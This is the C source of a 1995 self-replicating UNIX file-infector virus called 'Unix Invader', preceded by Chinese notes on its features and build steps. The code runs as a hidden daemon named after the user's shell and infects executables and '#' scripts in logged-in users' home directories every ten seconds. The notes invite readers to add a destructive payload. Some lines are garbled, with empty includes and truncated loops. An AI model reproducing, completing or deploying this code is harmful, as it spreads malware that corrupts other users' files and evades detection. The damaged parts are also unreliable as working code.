这是一只 UNIX 下的电脑病毒,
virus name: Unix Invader (入侵者)
其特点有:
1.其具有 daemon process 的特性(lose control tty)
故该process owner 没在线上,该病毒依旧能作用执行,不会被系统终结.
2.其可感染 UNIX 上 script file 和 各型 binary file(当然要属性得宜) ,不重复感染.感染完后,该执行档或script file 依旧可执行...(好像是废话)
3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用该user 的 login shell basename 作为程式名,故,用ps -aux(单ps 看不到)或 top 之类的程式,要仔细看,才会被发现...(有点奸诈)
4.其不重复长驻,顶多一个 user 一只,目地是为扩大感染能力5.其它...没了.
6.本来要增加 root kill -9 也杀不死的能力,但,时间有限,且经济效益不高所以作罢...(别跟我说 kill -9 pid 是无敌的,我依然有办法)如何实验?
cp 几个 binary file 到你的 home directory 里,做几个开头字元是 # 的 script file ....
如何起动?
1.先把此档案设定为 filename.c
2. gcc -O -o virus@ filename.c 或 cc -O -o virus@ filename.c
^ ^ 很重要一定要有!
3.然后可能会有些警告讯习,管它....,然后,应该会有个 virus@ 档出现
4. ls -l 看看该(virus@)档案长度多长,记好.
5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 后面档案
长度(有标示 here 的地方)
6.然后重覆第 2.个步骤,然后得到的 virus@ 才是我们要的.
7.执行它...ok! :)
8.你就中毒了(十秒内)........以后一旦有适合的档案将会马上被感染...
其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力想个残忍的破坏动作........有兴趣的人,可以自己去加上....
2.此 virus ,在UNIX 作业系统下执行,故证明一点....只要有人类,没有什么不可能有 virus 的 environment,方法是人想出来的.
3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,能被此 virus 感染的该帐号,被Crack 的机会是相当高.
4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search就可能把整个wrok station 的目录扫完.
5.此 virus 并不时时扫描目录,内定是 10 秒,唤醒一次,以免被发现... :)
6.此 virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定是没有用的,所以实验前赶紧搬一搬吧!
7.任意实验此病毒于公用的工作站是相当不道德的,作者是在自己的 linux上实验,您...自个好自为之,被抓到或被踢除帐号,别怪作者htk没先跟你说.OK?
大家好好玩吧!
注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也...
1995/6/15>
*/
/* A VIRUS IN UNIX !!!! */
/* written by NCKU EE htk */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CHK 512
#define PERM S_IRWXU
#define CHKT 10
#define LOADER "/nrm -f /tmp/.@`whoami`;cat < "
#define LOADER2 " |tail -c 18606 >/tmp/.@`whoami`;chmod 700
/tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;/n"
/* ^^^^^modify here !!! */
#define VL 18606
/* and ^^^^^ here !!! */
#define VLL -VL
#define BUFSIZE 25088
#define BSI 80
#define EXE 1
#define SCR 2
struct flock bk;
int fo,f,status=NULL;
int flagn=0;
void main(argc,argv,envp)
int argc;
char *argv[];
char *envp[];
{
char *buf2,*fname;
static char pidp[BSI]="/tmp/.";
static char bufr[BSI]="";
static int dec;
unsigned int k,kep;
struct passwd *getp;
int caller(void);
int chec(int);
char *base(char *);
char *find(void);
void catch(void);
int check(char *,int);
signal(SIGCLD,SIG_IGN);
strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec));
fname=(char *)tempnam("/tmp",NULL);
buf2=(char *)malloc(BUFSIZE);
if((fo=open(argv[0],O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1);
if((kep=lseek(fo,0L,2))>2*VL)
{
lseek(fo,VLL,2);
k=read(fo,buf2,VL);
write(f,buf2,k);
lseek(fo,VL,0);
while((k=read(fo,buf2,BUFSIZE))>0)
write(f,buf2,k);
/* ignore more lefting virus in a tail */
}
else
{
lseek(fo,VL-kep,2);
k=read(fo,buf2,kep-VL);
write(f,buf2,k);
}
close(f);
chmod(fname,S_IRWXU);
free(buf2);
if((kep=fork())>0)
{
for(k=0;k if(*(argv[0]+k)=='@') exit(0);
execve(fname,argv,envp);
}
else
if(kep==0)
{
sleep(2);
unlink(fname);
for(k=0;k getp=(struct passwd *)getpwuid(getuid());
strcpy(argv[0],base(getp->pw_shell));
/* initialize daemon process ... */
for(k=0;k<2;k++) close(k);
umask(0);
if(fork()!=0)exit(0);
signal(SIGHUP,SIG_IGN);
signal(SIGINT,SIG_IGN);
signal(SIGTTOU,SIG_IGN);
setpgrp();
if((kep=open("/dev/tty",O_RDWR))>=0)
{ ioctl(kep,TIOCNOTTY,(char *)0);
close(kep);
}
if(fork()!=0)exit(0);
signal(SIGUSR1,catch);
if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1);
k=read(kep,bufr,BSI);
if(k!=0) kill(atoi(bufr),SIGUSR1);
strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec));
lseek(kep,0L,0);
do{
k=write(kep,bufr,strlen(pidp)+1);
while((buf2=find())!=NULL)
{
getp=(struct passwd *)getpwnam(buf2);
if(chdir((buf2=(char *)getp->pw_dir))<0) continue;
if(ftw(buf2,caller,15)!=0) continue;
}
sleep(CHKT);
setutent();
lseek(kep,0L,0);
}while(1);
}
}
int chec(num)
int num;
{
int y=1;
while((num=(int)(num/10))>=1) y++;
return(y);
}
void catch(void)
{
flagn=1;
}
char *base(poi)
char *poi;
{ int i;
for(i=(strlen(poi)-1);i>=0;i--)
if(*(poi+i)=='/') return((char *)(poi+i+1));
return("sh");
}
char *find()
{
static char name[9]="";
struct utmp *goal;
goal=(struct utmp *)getutent();
if(goal->ut_type==USER_PROCESS)
{
strcpy(name,goal->ut_user);
return(name);
}
if(goal==(struct utmp *)NULL) return(NULL);
}
int caller(name,statptr,type)
char *name;
struct stat *statptr;
int type;
{ unsigned int nread,ymode;
static char load[200];
char buf[VL],buf3[VL];
if(type==FTW_F)
{
ymode=statptr->st_mode;
if(check(name,ymode)<0)
{ if(statptr->st_uid==getuid()) chmod(name,ymode);
return(0);
}
if( status==SCR )
{
strcpy(load,LOADER);
strcat(load,name);
strcat(load,LOADER2);
lseek(f,0L,2);
write(f,load,strlen(load));
lseek(fo,0L,0);
nread=read(fo,buf,VL);
write(f,buf,nread);
}
if( status==EXE )
{
if(statptr->st_size>VL)
{
lseek(f,0L,0);
nread=read(f,buf,VL);
lseek(f,0L,2);
write(f,buf,nread);
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
}
else
{
lseek(f,0L,0);
nread=read(f,buf3,VL);
ymode=nread;
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
write(f,buf3,ymode);
}
}
/* lseek(f,0L,0);
lockf(f,F_ULOCK,0); */
/* author's linux library has no above program library */
bk.l_type=F_UNLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
fcntl(f,F_SETLK,&bk);
if(statptr->st_uid==getuid()) chmod(name,ymode);
close(f);
}
if(flagn) exit(0);
return(0);
}
int check(name,ymode)
char *name;
int ymode;
{
char ch[CHK];
char ch2[CHK];
int rd,i;
status=(int)NULL;
if((f=open(name,O_RDWR))<0)
{
if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1);
if((f=open(name,O_RDWR))<0) return(-1);
}
/* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */
bk.l_type=F_WRLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); }
lseek(f,0L,0);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch[i]!=ch2[i])
{
if( ch[0]!='#' && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) )
{
status=EXE; return(1); }
else
if( ch[0]=='#' && lseek(f,0L,2)>VL ) /* you can improve the rule */
{
lseek(f,VLL,2);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch[i]!=ch2[i])
{ status=SCR; return(1); }
}
else if(ch[0]=='#')
{ status=SCR; return(1); }
break;
}
close(f);
return(-1);
}